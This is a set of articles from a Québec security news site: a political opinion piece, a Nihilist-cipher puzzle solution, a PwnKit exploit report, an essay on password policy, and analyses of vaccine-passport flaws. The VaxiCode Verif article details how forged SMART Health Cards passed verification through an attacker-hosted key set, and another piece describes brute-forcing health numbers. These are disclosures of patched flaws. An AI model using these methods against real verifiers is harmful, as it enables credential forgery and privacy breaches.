Every article published since 2009 is still here, and old links still work. Every article is published in French and in English.

What you’ll find here

Articles are sorted into eight categories:

• News & opinion: local cyber news and where we stand.
• Ransomware: the attacks and the criminal groups targeting Québec and Canada.
• Vulnerabilities: vulnerability analyses, disclosures and fixes.
• Leaks & privacy: data leaks, passwords and personal information.
• Policy & regulation: laws, regulators and government decisions.
• Tools & projects: projects and tools published by the community.
• Walkthroughs & CTF: solutions to challenges and training rooms.
• Cryptography & puzzles: ciphers, riddles and puzzles.

Our social media, in one place

The comments and opinions we post on our social networks will now be published here too. A thread on LinkedIn or Mastodon fades fast. Here it stays, with its sources, and it’s easy to find, quote and share.

The securite.fm podcast

Important clips and standout episodes of the securite.fm podcast will also have their place on Hackfest Media, with the context and links to dig deeper.

Sponsor Hackfest Media

Hackfest Media can be sponsored. Want to support an independent outlet and reach Québec’s information security community directly? Packages and prices are on the Sponsor page.

Write with us

Have news, an analysis or an opinion to share? Pitch an article. To follow what we publish, subscribe to the RSS feed or join the community on Discord.

Source (in French)Le PQ démantèle le ministère de la Cybersécurité et du Numériqueici.radio-canada.ca ↗

Québec is dismantling its Ministry of Cybersecurity and Digital Affairs (Ministère de la Cybersécurité et du Numérique, MCN) and handing the security of the State to a minister with no experience in cybersecurity, IT or information security… in the middle of a cyberwar against cities, energy and food giants.

The ministry was dismantled without a bill. No vote in the National Assembly, and its 2,038 employees now report to the Treasury Board Secretariat (Secrétariat du Conseil du trésor, SCT).

The minister who inherits the State’s cybersecurity, Alain Therrien, is an economist. He has NO experience in IT, cybersecurity or information security. Except for 5 months as an opposition critic in 2015, when he criticized how budgets were managed. Let’s be honest: every government project has a budget problem.

But ransomware couldn’t care less about your government calls for tenders.

We’re not asking for a minister who codes. We’re asking for someone, somewhere, with ten or so years of experience in the field, who knows what they’re talking about.

Sources

Most sources are in French.

• The dismantling of the MCN radio-canada.ca ↗
• The role of the chief information officer legisquebec.gouv.qc.ca ↗
• Alain Therrien’s background assnat.qc.ca ↗
• His remarks on IT in 2015 (Committee on Public Finance)
  • Session of May 15, 2015 assnat.qc.ca ↗
  • Session of October 23, 2015 assnat.qc.ca ↗
• His statement on IT contracts moncarnet.com ↗
• “Keeping the purse strings tight” lereflet.qc.ca ↗
• The CAI no longer publishes the list of privacy incidents gowlingwlg.com ↗
• The CAI considers its resources insufficient cai.gouv.qc.ca ↗
• Recommendation no. 1 of the Gallant report lapresse.ca ↗

INCOMPETENCE. There is no other word for it.

Santé Québec has invented hour compression, a real farce!

• A dev coded it.
• A project manager approved it.
• The administration signed off on it.
• And it went to production. 🤡

It’s not a bug, it’s a feature, born from a series of failures.

🎥 Jean-René Dufort’s interview (in French): https://www.facebook.com/reel/1434156314822606

Since its very beginnings, the logo of the La French Connection podcast has displayed an encrypted message. Many people have dreamed of unravelling the mystery of this cipher. Fair warning to those who don’t want to break the spell: read no further, because this text reveals the secrets and the message behind the logo. (1)

Analysis

Fans of the La French Connection podcast noticed long ago that the bottom of the podcast’s logo bears a mysterious inscription that, without a doubt, conceals a secret message (Figure 1).

The encrypted message

The mysterious cipher is made up of 25 hexadecimal numbers. It is often easier to convert hexadecimal numbers into decimal numbers. CyberChef handles this kind of chore very well (Table 1).

Figure 1: Logo of the La French Connection podcast.

Table 1: The mysterious cipher.

 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95

Frequencies

Since we’re already putting CyberChef to good use, we might as well take advantage of it to run a frequency analysis. Figure 2 shows the result of this analysis. We can see that out of 25 numbers, only two are repeated (4F and 62). At the same time, the sequence is not random, since the values are not evenly distributed across the range of 256 possible numbers (from 00 to FF).

Figure 2: Frequency analysis of the numbers.

These results allow us to rule out modern encryption or a hash function, which would produce more uniform data. Moreover, we are not dealing with a simple substitution cipher either, since there are few repetitions. Because the encrypted message is very short, it is hard to carry out a more thorough statistical analysis or to use brute force without first identifying the encryption method.

Looking more closely at the decimal numbers, we notice that none of them ends in 1, 2 or 4. In addition, the units digits are not evenly distributed, as shown in Table 2. The distribution of the tens digit is a bit more uniform, but there is no digit smaller than 20 at all (Table 3).

Table 2: Distribution of the units digit.

 Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16

Table 3: Distribution of the tens digit.

 Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20

In search of the lost cipher

With the little information we have gathered, we can explore several leads to try to identify the cipher that was used. The numbers in the cipher were almost certainly generated using simple mathematical rules that give them the characteristics we observed. A good place to start looking for the cipher is dCode. This site is a valuable resource for learning more about codes and encryption. It offers not only very detailed descriptions of several dozen classical ciphers, but also tools to encode, decode and break some of them.

Polybius

We are probably dealing with a substitution or transposition cipher that includes additional elements to make decryption harder. The most fun way to identify the cipher used is to spend long hours exploring the various classical ciphers, reading their descriptions, and encrypting and decrypting different messages. It is also the most time-consuming method. If you use it, you will probably end up stumbling on the Polybius cipher, which uses the Polybius square, a 5x5 grid that maps each letter of the alphabet to a number between 11 and 55. Table 4 shows one possible square. Since the alphabet has 26 letters, one of them has to be sacrificed. In this case, Z is sacrificed, but J, V or W are also frequently dropped.

Table 4: Polybius square.

           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y

To encrypt a message using a Polybius square, you simply find the letter in the table and replace it with the number formed by the row number followed by the column number. For example, the letter Q would be replaced by the number 42.

Polybius on steroids

To make life harder for the curious, you can use a key to change the order of the letters in the grid. The word used must have distinct letters. You write the letters of this secret word at the top of the grid and continue with the remaining letters. For example, with the key HACK we would get the square shown in Table 5.

Table 5: Polybius square with the key HACK.

         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y

The Polybius cipher shows a regularity in the numbers it uses, which makes it easy to identify, since only the numbers 11, 12, 13, 14, 15, 21, 22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45, 51, 52, 53, 54, 55 can be used.

Polybius or not Polybius? That is the question!

Although the Polybius cipher shares some similarities with the characteristics of our message, the possible numbers do not match. So we are dealing either with another cipher or with a variant of the Polybius cipher using a different grid.

Reading up a bit more on the Polybius cipher, we find that it is often associated with the Nihilist cipher, which is a superencryption of the Polybius square. The Nihilist cipher can be recognized by the following clues:

• Contains only numbers between 22 and 110.

• Contains none of the following numbers:
  21, 31, 41, 51, 61, 71, 81, 91, 101.

• The cipher comes with some kind of reference to Russia.

Mini OSINT

The first two characteristics match the secret message at the bottom of the logo perfectly, but some mention of Russia in an episode would seal the deal. A bit of white-belt Google Fu (logo site:securite.fm) reveals that the encoded message in the logo is mentioned in episode 0x017 (around the 40-minute mark), as shown in Figure 3. In that episode, Damien, ever the foodie, gives us a hint: "Poutine"... Unless he is referring to another kind of "Putin", far less digestible.

Figure 3: Episode 0x017 mentions the logo mystery.

The Nihilist cipher

Made famous by its use by the Russian nihilists of the 19th century. This cipher is easy to memorize and allows a message to be transmitted in several ways. For example, Russian prisoners passed messages of this kind by knocking on the walls of their cells a number of times corresponding to the row and then the column of each letter.

How it works

The Nihilist cipher works simply:

1. You choose a Polybius square, with the letters possibly scrambled using a key agreed upon in advance. For example, the square in Table 5.

2. You encode the message with the grid. Each letter is assigned a number corresponding to a row and a column. The message "MESSAGESECRET" would, for example, become: 33 22 44 44 12 24 22 44 22 13 43 22 45.

3. You choose a superencryption key and encode it with the Polybius square. If you choose "PLANET" as the key, you get 41 32 12 34 22 45.

4. You write the encoded key out as many times as needed under the encoded message and add the two numbers together, as in Table 6.

Table 6: Superencryption.

   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86

What you end up with is a substitution cipher to which a key is repeatedly added. In the end, you get a fractionated polyalphabetic cipher, since two identical letters can be encoded differently depending on their position in the message.

Vulnerabilities

The Nihilist cipher has multiple vulnerabilities, including those below:

• The superencryption key is repeated. When the encrypted message is longer than the key, similarities can be observed between blocks of text that are the same length as the key.

• There is a limited number of combinations for the additions. For example, the number 80 can only be obtained with the additions $25+55$ or $35+45$.

• The larger or smaller the numbers, the more limited the possibilities. For example, 22 or 110 can only be obtained if the encoded letter is the same as the superencryption key letter and that letter is in the top-left or bottom-right corner of the grid, respectively.

• A number with a 0 in the units position indicates that the numbers added together come from the last column.

• Similarly, a number with a 2 in the units position comes from an addition of numbers from the first column.

• Once the key length is identified and the key space narrowed down, the key can be found (if it is a word) by deduction or with a dictionary.

• Once the superencryption key is found, the problem boils down to a simple substitution cipher, a Polybius cipher.

Cryptanalysis of the Nihilist cipher becomes much easier if the encoded message is long and/or if we have another decoded message that was encrypted with the same grid and the same superencryption key. Unfortunately, in this case, we have neither of these helpful elements.

Decryption

There are very few repetitions in the encoded message, 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, which indicates that the superencryption key is probably not trivially short (1, 2 or 3 characters).

Key length

The first step is to determine the length of the superencryption key, which will give us the period of the cipher. A cipher will have a period of 4 if a 4-character key is repeated for the encryption, since every block of 4 letters will use the same key.

To determine the key length, we will build tables with a number of columns matching the key length we want to test. For example, if we want to check whether a 6-character key is possible, we need to build Table 7 with 6 columns and fill it with the encrypted message, in order.

Table 7: Table to test whether a 6-character key is possible.

 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      

We need to build a table like this for every superencryption key length we want to test. In our case, between 1 and 25 columns.

For each column of a table, we apply the algorithm below. First to the tens digit, then to the units digit. If, for a given column, this algorithm returns false for either the tens or the units digit, it means no addition is possible for the combinations of numbers in that column. The superencryption key therefore cannot have the assumed length.

Essentially, we check that the difference between the maximum and minimum digit is less than 5. If it isn’t, it is impossible for a single digit (between 1 and 5) to have superencoded the units or tens digit. For example, if the units digits for a column are 2, 4, 7, 3, 4, the difference between 7 and 2 is 5. And it is impossible to find two digits such that $x_1 + y = 7$ and $x_2 + y = 2$ where $1\leq x_i \leq 5$ and $1\leq y \leq 5$

array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \< 5

Going back to Table 7, we see that the tens digits for the first column are 7, 5, 4, 3, 9. There is a difference of 6 between the maximum and minimum digits, so no 6-character key could have been used.

If we apply this rule to tables of 2 to 25 rows (using a homemade Python script), we get possible key lengths of 10, 20, 22, 23, 24 or 25. Since the message is 25 characters long, keys between 20 and 25 characters are considered possible, because in those cases most columns will contain only one number. However, they are unlikely, since if the key length is close to the message length, we would almost have a Vernam cipher (one-time pad), which would be practically impossible to decode without knowing the key.

Under these circumstances, the key length is most likely 10.

Key space

Once the key length is established, we can try to narrow down the key space. Indeed, with the Nihilist cipher, not every 10-character key is possible, only a reduced number of them. To limit the number of possible keys, we need Table 8, with as many columns as the key length.

Table 8: 10-column table.

 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      

For each column of this table, we need to apply the following algorithm, which will produce the list of numbers possibly used to superencrypt a column. Once again, this is a direct consequence of using the Polybius square, which limits the units or tens digit to a number between 1 and 5.

array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite < 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine < 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

If we apply this algorithm to each column of Table 8, we get the possibilities in Table 9 for each character of the superencryption key.

Table 9: Key space.

Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52

Even though all these calculations can be done by hand, a Python script can be a big help, both in terms of time and of mental health.

Numbers

For this cipher, we therefore have a 10-character key, with each character having 6, 3, 6, 1, 2, 4, 6, 4, 4 and 6 possibilities respectively. The number of possible combinations is $6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$. Many of these combinations are not words. We could start by excluding them but, in the end, if the key is random, we have 497664 keys to test.

Furthermore, if we don’t want to have to manually validate every decryption attempt, we would need to automate the whole thing by comparing each 4-character block of a decoding attempt against French and English quadgrams (we assume the message is in one of those two languages), of which there are about 400000 each. Note that there are 22 possible 4-character blocks in a 25-character sequence.

Finally, nothing guarantees that a completely random Polybius square wasn’t used for the initial substitution. For 26 letters, there are $26! \approx 4 \times 10^{26}$ possible squares.

We would have approximately $497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$ tests to run.

That’s a lot of paths to explore, so we need to narrow this search space even further by making several assumptions.

Assumptions

To start with, we will make the following assumptions:

1. The superencryption key is a word. Probably related to the podcast.

2. The Polybius square used is one of the few best-known squares (with the letters of the alphabet practically in order).

3. The language used for the key and the original message is either French or English.

4. The Nihilist algorithm used to encrypt the message was not modified to make decryption harder.

Finding the superencryption key

Armed with these assumptions, we can finally tackle the superencryption key. We assume that the most common Polybius square, which omits the letter "J", was used (Table 10). Encoding the message with this square would imply using the letters in Table 11 to encrypt the key.

Table 10: Polybius square presumably used.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z

Table 11: Possible letters for the key.

 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W

The 10 most common letters in French words are e, a, i, s, n, r, t, o, l, u, while in English they are e, t, a, o, i, n, s, h, r, d. For now, let’s keep only the letters that are most common in both languages. Doing so, we realize almost immediately, if we have ever played Scrabble or done word searches, that we almost have the word SECURITÉ or SECURITY (Table 12). This is most certainly no coincidence.

Table 12: Filtered possible letters.

 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    

A good way to check whether we’re on the right track is to use this partial superencryption key to decode the message. Using dCode greatly speeds up this kind of test, since it lets you quickly change either the Polybius square or the key. Since we are missing a few letters in the key to form a word, we will arbitrarily replace them with the first letter of each column. This gives us the key SECURTTAAL. Using it together with Table 10 to try to decrypt the message, we get PRZVAZEDKYZSNOTGPOGMZCKEX.

We notice a short English word and a few common English bigrams in the partially decoded message:
PRZVAZEDKYZSNOTGPOGMZCKEX.

This is a big step, since we have identified the language of the original message. Moreover, there are more "Z"s than there should be in this message, which suggests there is a problem with the Polybius square used. Looking at the list of the 10 most common letters in English, we notice that "I", the fifth most used letter in that language, never appears, while "Z" appears four times. If we swap the positions of "I" and "Z" in the Polybius square and try decoding the message again, we get a partially decoded message with even more words and partial words PRIVAIEDKYISNOTGPOGMICKEX.

At this point, it is much easier to try a few other keys than to try to modify the Polybius square. Trying the keys SECURITEAL and SECURITYAL, we get:\

 SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?

The first key attempt, with the French word, is clearly better, even though two letters cannot be decoded with the Polybius square used. For the last two letters of the key, we can either use brute force and test every possible combination, or remember (thanks to our mini OSINT) that the podcast’s website is securite.fm.

With the superencryption key "SECURITEFM", we decode the message PRIVATE?EXISNOTAP?BLICKEX, which we can guess is "PRIVATEKEXISNOTAPUBLICKEY". However, the message cannot be fully decoded with this key. We can easily improve the situation by swapping the letters "X" and "Y" in the Polybius square to get Table 13.

Table 13: Final Polybius square.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I

With this key and this Polybius square, two numbers in our initial sequence cannot be decoded 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95. They correspond to the letters at positions 8 and 18 of the message. With the current superencryption key, the number 25 should be 10, since we should subtract 15 (because of the "E"), and the number 45 should be 30, for the same reason.

But 10 and 30 cannot be obtained with the key and Polybius square we found. However, the numbers 25 and 45 correspond to the missing letters "K" and "U". These two letters were simply not superencrypted with the key! This is either an unintentional mistake or an attempt to make decrypting the message harder. In the end, everyone will agree with the secret message: "private key is not a public key".

Official solution

After I validated the secret message with the official authorities of La French Connection, the higher-ups sent me the official solution, which I am passing on to you. One particular point in it may leave us puzzled:

1. Text to encode: PRIVATEKEYISNOTAPUBLICKEY
2. Key character set: ABCDEFGHIJKLMNOPQRSTUVVVXYZ (w = VV)
3. Key: SECURITE.FM
4. Encode the answer in hex

The whole thing was encoded using an unspecified tool, almost certainly using the Nihilist cipher. The tricky point in this solution is, of course, the period “.” between SECURITE and FM. It appears nowhere among the characters used in the cipher. And yet, the tool used did encrypt the message. This unconventional key probably explains why two letters were not encoded as expected.

This illustrates how hard it is to decrypt a message encoded with an unknown algorithm and unknown tools. You’re never safe from surprises.

References

• https://www.dcode.fr/chiffre-nihiliste

• https://gchq.github.io/CyberChef

• https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/

• http://www.crypto-it.net/eng/simple/nihilist.html

• http://www.benburlingham.com/core/articles/nihilist-cipher.html

(1) This work is subject to the WTFPL license. Visit http://www.wtfpl.net/ for a full copy of this license.

I woke up this morning to a very interesting news article on BleepingComputer: a new vulnerability has been disclosed that affects almost all the major Linux distributions. It allows any logged in user to easily elevate their privileges to that of root. Like, really easily!

The issue was discovered by Qualys researchers back in November 2021, and through “responsible disclosure” allowed the vendors to issue a patch (note that not ALL distributions have been patched, as you’ll see later). The bug is in the “pkexec” module, part of the “Policy Toolkit” (or Polkit for short) which handles requests to run commands as another user, much like “su”.

As it turns out, it’s an absolutely simple process to bypass pkexec and elevate one’s privileges to that of root. An exploit was published no less than 3 hours after Qualys published their findings. Curious to see if my Kali Linux VM was vulnerable, I did a quick Google search for the code shown in the BleepingComputer article; it literally comes up in 0.39 seconds and is the first link - talk about great SEO!

As you can see from the video below, I compiled the code and ran it, and sure enough: I was root!

Curious to see if Kali had released any updates for it (this VM was last updated about a week ago, as I keep my systems very up-to-date), I ran the full update and tried the exploit again. Unfortunately, it still worked, as the version of pkexec was still 0.105, the same as before the updates.

If your Linux distribution vendor has not yet updated their pkexec module, one mitigation described in the article is simply to strip the Read/Write rights from the file using “chmod 0755 /usr/bin/pkexec”.

This is nowhere as severe as the recent Log4j vulnerability, of course, as it would be highly unlikely that a logged in Linux server would be exposed to the Internet (right???), but it still puts your systems at risk from internal threats, or perhaps even from an outside attacker who is executing lateral movements inside your network. One potential risk is that an organisation might provide login credentials to IT techs to execute simple tasks without necessarily providing them with root access; this exploit allows them to very simply elevate their privileges and potentially cause damage.

Photo credit: schill - licence CC BY

Understanding SMART Health Cards

The SMART Health Card (SHC), which contains the information stored in your QR code, is based on a proven technology known as JSON Web Signature (explainer, JWS specification).

JWS allow, among other things, the cryptographic signing of arbitrary data (the payload), as well as its verification using information (the headers) contained within that very data, namely the public key and the signing method.

This same technology is used to build other technologies such as JSON Web Token, the Open ID suite of specifications, and others, which are very frequently used to store data outside of a controlled environment while ensuring its verifiable validity. For example, if you frequently use Google services, this same technology is used to connect you to them securely.

The concept of a signature involves a private key and a public key. The entity (the Government of Québec) that publishes the data (the QR code representing the SHC) uses the private key to sign it, and the applications that consume it use the public key (the VaxiCode Verif app) to validate that this data has not been modified by a malicious person. Without going into detail, the signed data is then considered safe and verifiable. For more information, we invite you to consult this article on signatures.

Now that we know the SHC data is tamper-proof, what does your QR code contain? It contains a few pieces of information, called claims.

A first claim, iss or issuer, identifies the entity that publishes this data. Another, iat or issued at, indicates the date on which it was published. Finally, a claim named vc or verifiable credentials contains the crucial information of the SHC.

Present in the latter are the type of data that the SHC contains (immunization data, COVID-19 context and others), and a list of entries.

One in particular describes the patient (you) who is the subject of the SHC. In it are found only your first name, last name, and your date of birth.

Then, for each dose of vaccine received, you will also find the information describing which vaccine was received, on what date, and the name of the place where the injection was performed.

The vulnerability

Let us now return to the main issue, namely the vulnerability contained in versions 1.0.1 and earlier of the VaxiCode Verif app.

It would allow the application to validate codes that were not issued by the Government of Québec. By this, we mean that a person would be able to issue and sign an SHC themselves, thereby succeeding in defeating the application’s verification that the data included in it is indeed truthful (signature) and endorsed by the only authority currently having the capacity to issue SHCs (claim iss).

This vulnerability was first made public on Friday, August 27, 2021, in an article by Radio-Canada.

Possible avenues of vulnerability

Before validating the vulnerability of the verification application, let us go through several common problems in the implementation of JWS validations and similar technologies that could allow such a result.

Since the vulnerability was found less than 24 hours after the application’s release, it is unlikely that the flaws are the result of very complicated operations. Let us start with these few basic checks:

1. Are the public keys indeed used to validate the content of the JWS?
2. Is the validation of the iss claim done correctly?
3. Are the external JWK downloaded and used?
4. Are the keys used properly?
5. Could it be possible that insecure signing modes are allowed (specifically, alg: "none")?

Tools used

The following common tools were used for the majority of the tests:

• http-server to serve files during the tests.
• ngrok to make the server publicly available.
• @pathcheck/shc-sdk to easily generate SHC, JWKS and others. It uses the common package node-jose.
• Smart Health Card Scanner to inspect SHC easily.
• A QR scanning application to read the content of the QR codes.

To validate alg: "none", these were added to the list:

• node-jwa to generate JWS with this type of algorithm.
• pako to compress the JWS payload.

Checks

Use of the government’s public key and use of the iss claim

To begin, an existing QR was scanned to obtain the string of characters making up the SHC. The latter was opened in the Smart Health Card Scanner to quickly visualize its content.

Its content was copied into a script allowing a new SHC to be generated using SHC-SDK, but signed with a different JWK than the application’s. The payload was left identical.

At the same time, the iss claim is left identical to validate that this does not allow the signature validation to be ignored.

Result: VaxiCode Verif displays an error message: This QR code is not valid proof of vaccination. We assume that the signature was indeed validated and that the iss claim does not allow it to be bypassed.

External JWK

JWK is a format allowing the exchange of cryptographic keys that is used when validating the signatures of the SHC issued by the government. We speak of JWKS when it is a set of keys (JSON Web Key Set).

We attempt to import an external JWKS at the path .well-known/jwks.json. A very simple local HTTP server is set up behind a tunnel to make it publicly available with the HTTPS protocol. The iss claim is changed to the tunnel’s domain (for reference, let us call it Serveur.Local). A JWKS is also generated, then placed in the .well-known folder, then the SHC is generated and scanned. The JWKS is therefore accessible at the address https://Serveur.Local/.well-known/jwks.json.

Result: The proxy indicates having indeed received a call to GET /.well-known/jwks.json. At the time of the scan, VaxiCode Verif indicates an error: Certified by an unknown authority. Serveur.Local. We assume that the JWK were indeed imported. This is entirely normal up to this point.

Usage of public keys

We now attempt to see whether the JWK that was imported is usable only by its issuer. We set the iss claim back to its initial value (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) and generate a new SHC, then scan it.

Result: The SHC is accepted as truthful. We have reproduced the vulnerability. We deduce that the JWK that was imported in the last step was not correctly marked as being usable only by the issuer Serveur.Local to validate signatures, and that the issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer is now able to validate signatures with the keys of Serveur.Local, which should never happen.

Insecure signatures

A compliant JWS similar to the SHC format was also created and scanned, but with the following header:

{
  "alg": "none",
  "zip": "DEF"
}

alg: "none" indicates to the signature verifier that there is no signature to verify.

Result: The VaxiCode Verif app is simply unable to recognize a QR code of this type. No vulnerability here.

Analysis

The problem causing the vulnerability is mentioned in the SHC specification. It is the responsibility of the group developing an application making use of the SHC standard to pay attention to it. The problem is described directly:

1. in the SHC specification, sections Signing Health Cards and Determining keys associated with an issuer as well as
2. in the JWS specification, section Key Origin Authentication, from which the former inherits.

“10.3. Key Origin Authentication: The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”

Excerpt from the JWS specification

In clearer terms, one must ensure that the signature is verified only with keys originating from the issuer, but the implementation in the VaxiCode Verif application did not do so for versions <=1.0.1.

Are the QR codes compromised?

No. As mentioned, the QR codes that contain the SHC information are compliant with the specification and are entirely secure.

Here, the first part of the problem lies in the fact that the keys used to verify the codes are not only associated with their respective issuers. This is a regrettable omission, however (and fortunately), it is easy to fix.

In addition, the application should only validate trusted issuers, which seems to be the case, but remains to be verified following the correction.

Validation of the fix

On Sunday, August 29, 2021, a new version of VaxiCode Verif, 1.0.2, was published on the Apple App Store. The changes are described as follows:

• Improvement of the proof verifier
• Improvements for smaller screens
• Accessibility improvements

We used the same procedure as the one described above to attempt to validate the fix.

Result: The vulnerability has indeed been fixed, and we are no longer able to exploit it.

Without access to the application’s code, it is difficult to describe exactly the fixes made. However, we are still able to make a few observations. The most important concerns the fact that the application no longer downloads the external JWKS at the issuer’s /.well-known/jwks.json path; it is therefore no longer able to perform either the import or the validation of signatures generated with keys other than the government’s. In addition, the error message displayed in this case is no longer Certified by an unknown authority. Serveur.Local, but rather This QR code is not valid proof of vaccination.

Things must have been heating up in the offices of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry) on Friday morning.

After hammering home that using the QR code as proof of vaccination was 100% secure, two flaws were reported in the media.

First, hackers demonstrated that it was possible to download proofs of vaccination that were not intended for them.

Second, another individual demonstrated that it was possible to create fake QR codes from scratch.

In less than 24 hours.

The MSSS’s initial reaction was to issue a press release stating that “formal complaints have already been filed with the police. The competent authorities will investigate and determine whether criminal charges should be laid.”

We understand their embarrassment. For weeks, the Ministry has been telling us that the chosen solution is secure. In its press release, it doubles down. “The MSSS reiterates that the QR code is secure,” it reads.

And yet, the proof of vaccination was easy to download. All you needed was the person’s name and date of birth. With this information and a few lines of code, you can deduce the health insurance number. Knowing the date and manufacturer of the first vaccine dose speeds up the process. This information is often easy to find on social media.

According to an anonymous source, some of the responses returned by the site made the task easier. “If you have the right health insurance [ number ], it tells you if the date is wrong,” he explained to us. In addition, another message lets you know if you provided the wrong manufacturer name.

According to this person, you are “able to make a lot of requests and nothing stops [ you ].”

Returning error messages this useful to a hacker is a practice to avoid. It gives clues, and it is the first thing a security researcher will look at.

Another security practice is to put measures in place to prevent “brute force”, that is, to prevent someone from trying every possible combination of a health insurance number until they find the right one.

This does not seem to have been done adequately.

Fortunately, these two flaws were found by people who had the common good in mind. An unscrupulous person could have sold their services creating fake QR codes. A malicious person could have publicly released the proofs of vaccination. That is not what happened. The hackers who found these flaws contacted journalists. They wanted these risks to be known and taken seriously.

Instead of calling the police, perhaps we should consider thanking them.

There is currently no official mechanism for a hacker who has found a vulnerability to report it to the government.

It would be a good idea to set one up.

It would be more useful than repeating that everything is fine.

Photo credit: EFF - CC BY license

Before I hung up my white coat, I was a family doctor at a CLSC in downtown Montréal. Every month, the system asked me to change my password. This message was usually preceded by several others warning me that the password would have to be changed in x days.

I had gotten into the habit of ignoring them.

It’s a law of nature that the final message, like a Windows update, always arrives at the worst possible moment.

It usually happened when I was busy and tired. I had possibly just spent 24 hours in the hospital delivery room catching babies, and I had 14 phone messages to return, four faxes to send, illegible reports to decipher and people waiting for me in the waiting room.

When I started at the CLSC, the system administrator had given me a “temporary” password. For all practical purposes, I kept it for 5 years.

It was something like “samhar01”.

There was a rule preventing the reuse of recent passwords. But I quickly realized that once I got to samhar09, I could start over at 01. It was very convenient.

The problem is that I had never considered the risk this posed, and nobody ever brought it up with me.

Recently, an anonymous source sent a photo to Hackfest. This person had gone to a CLSC in the Québec City region. At the front desk sat a computer. On it, the passwords were clearly displayed. Really, plainly visible. They hadn’t been scribbled on a Post-it. No. Someone had gone to the trouble of doing a nice job.

I contacted the CISSS (Centre intégré de santé et de services sociaux, the integrated health and social services centre). Ms. Maryse Rodrigue, from the communications department, replied that the CISSS “[ regularly ] reminds employees about the confidentiality of access codes and passwords, and that there is a policy on this matter.”

The spokesperson also assured me that there would be a follow-up “to rectify the situation”.

The goal here is not to point fingers at the employee who stuck their password on the computer. It is risky behaviour. Unfortunately, experience shows that the more restrictive certain rules and practices become, the more people find ways to get around them. Moreover, training on “why” this behaviour is risky is often lacking.

I asked Vincent Tremblay, a cybersecurity specialist and Hackfest organizer, whether organizations should require their employees to change their passwords often. He told me that “password policies are a double-edged sword. Too complicated? People will do anything to bypass them or just won’t care, and we’re back to square one. Too simple, but you have to change it too often? You can expect ticket #1 to be ‘I forgot my password and it won’t let me change it’.”

So, what do we do?

The solution lies in awareness and education. Authentication isn’t there to annoy us, but to protect highly sensitive and confidential data. Understanding the “why” is essential. Because yes, if we don’t understand its importance, security is often perceived as an obstacle.

While we wait for “passwordless authentication”, we can drop certain outdated practices and use passphrases, relaxing the rules on password complexity and frequent rotation.

Above all, we need to create an environment where employees have the time they need to devote to good information security practices.

